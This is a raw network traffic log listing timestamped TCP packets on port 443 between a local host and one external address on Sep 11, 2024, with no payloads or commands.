Sep 11, 2024 22:52:14.222806931 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.222821951 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.222887039 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.222898006 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.222946882 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.223392010 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.223411083 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.223474979 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.223486900 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.223536968 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.223813057 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.223831892 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.223893881 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.223905087 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.223954916 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.224126101 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224145889 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224205017 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.224215984 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224241972 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224265099 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224267960 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.224281073 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224286079 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.224324942 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.224347115 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.224364042 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224379063 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224433899 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.224445105 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224468946 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224487066 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224502087 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.224519968 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224549055 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.224549055 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.224575996 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.224586964 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224601030 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224657059 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.224668026 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224708080 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224720001 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.224725008 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224734068 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.224782944 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.224807024 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.441143036 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.441159964 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.441282034 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.441343069 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.441390991 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.441603899 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.441617966 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.441675901 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.441695929 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.441723108 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.441747904 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.442032099 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.442049026 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.442115068 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.442127943 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.442177057 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.442708969 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.442725897 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.442791939 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.442805052 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.442856073 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.443229914 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.443243980 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.443305016 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.443316936 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.443371058 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.443769932 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.443783045 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.443852901 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.443865061 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.443911076 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.444154024 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.444168091 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.444233894 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.444245100 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.444289923 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.444308043 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.444325924 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.444386005 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.444412947 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.444463968 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.444463968 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.444473982 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.444505930 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.444530010 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.444542885 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.444576025 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.444598913 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.444611073 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.444622993 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.444679022 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.444689989 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.444740057 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.444981098 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.444999933 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.445060015 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.445071936 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.445123911 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.445370913 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.445384979 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.445442915 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.445456028 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.445528984 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.445673943 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.445687056 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.445750952 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.445763111 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.445812941 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.446105003 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.446121931 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.446183920 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.446194887 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.446214914 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.446230888 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.446247101 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.446263075 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.446295977 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.446295977 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.446317911 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.446744919 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.446758032 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.446815014 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.446826935 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.446877956 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.447285891 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.447304964 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.447362900 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.447375059 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.447427034 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.447494030 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.447509050 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.447567940 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.447580099 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.447634935 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.448052883 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.448066950 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.448131084 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.448141098 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.448189974 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.448254108 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.448268890 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.448326111 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.448338032 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.448391914 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.448753119 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.448767900 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.448832035 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.448843002 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.448892117 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.449245930 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.449260950 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.449317932 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.449331045 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.449378014 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.449613094 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.449626923 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.449685097 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.449697018 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.449744940 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.450229883 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.450243950 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.450297117 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.450308084 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.450356960 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.450383902 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.450397968 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.450443029 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.450454950 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.450506926 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.450762987 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.450782061 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.450814962 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.450834036 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.450845003 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.450898886 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.451041937 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.451062918 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.451111078 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.451124907 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.451195002 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.451364040 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.451390028 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.451446056 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.451446056 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.451461077 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.451513052 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.451656103 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.451670885 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.451716900 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.451733112 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.451756001 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.451778889 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.451960087 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.451975107 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.452034950 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.452045918 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.452105045 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.452230930 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.452245951 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.452296019 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.452306986 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.452361107 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.466815948 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.466835022 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.466924906 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.466984987 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.467041969 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.467324972 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.467348099 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.467446089 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.467461109 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.467536926 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.468064070 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.468106031 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.468133926 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.468147039 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.468179941 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.468199968 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.468597889 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.468614101 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.468677998 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.468689919 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.468743086 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.469083071 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.469099998 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.469152927 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.469166040 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.469213963 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.537270069 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.537287951 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.537338018 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.537363052 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.537389040 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.537545919 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.537919044 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.537938118 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.538028002 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.538039923 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.538084030 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.538392067 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.538417101 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.538460016 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.538470030 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.538499117 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.538516045 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.553786993 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.553802013 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.553875923 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.553888083 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.553939104 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.554069996 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.554090023 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.554143906 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.554156065 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.554210901 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.554413080 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.554428101 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.554476023 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.554495096 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.554517984 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.554538965 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.555028915 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.555047989 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.555104971 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.555115938 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.555160999 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.555346012 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.555362940 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.555449009 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.555449009 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.555464983 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.555512905 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.629410028 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.629431963 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.629638910 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.629699945 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.629770041 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.630254984 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.630271912 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.630459070 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.630520105 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.630589962 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.630745888 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.630759001 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.630929947 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.630990982 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.631078959 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.641149998 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.641175985 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.641244888 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.641304970 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.641366005 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.641588926 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.641608000 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.641664028 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.641679049 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.641732931 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.642199039 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.642215014 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.642271996 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.642283916 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.642328024 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.643004894 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.643047094 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.643071890 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.643102884 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.643134117 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.643155098 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.643537045 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.643551111 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.643610001 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.643621922 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.643671036 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.716628075 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.716646910 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.716762066 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.716820955 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.716878891 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.717077017 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.717092037 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.717150927 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.717164993 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.717221975 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.717597961 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.717612982 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.717684984 CEST	49734	443	192.168.2.4	198.54.120.231
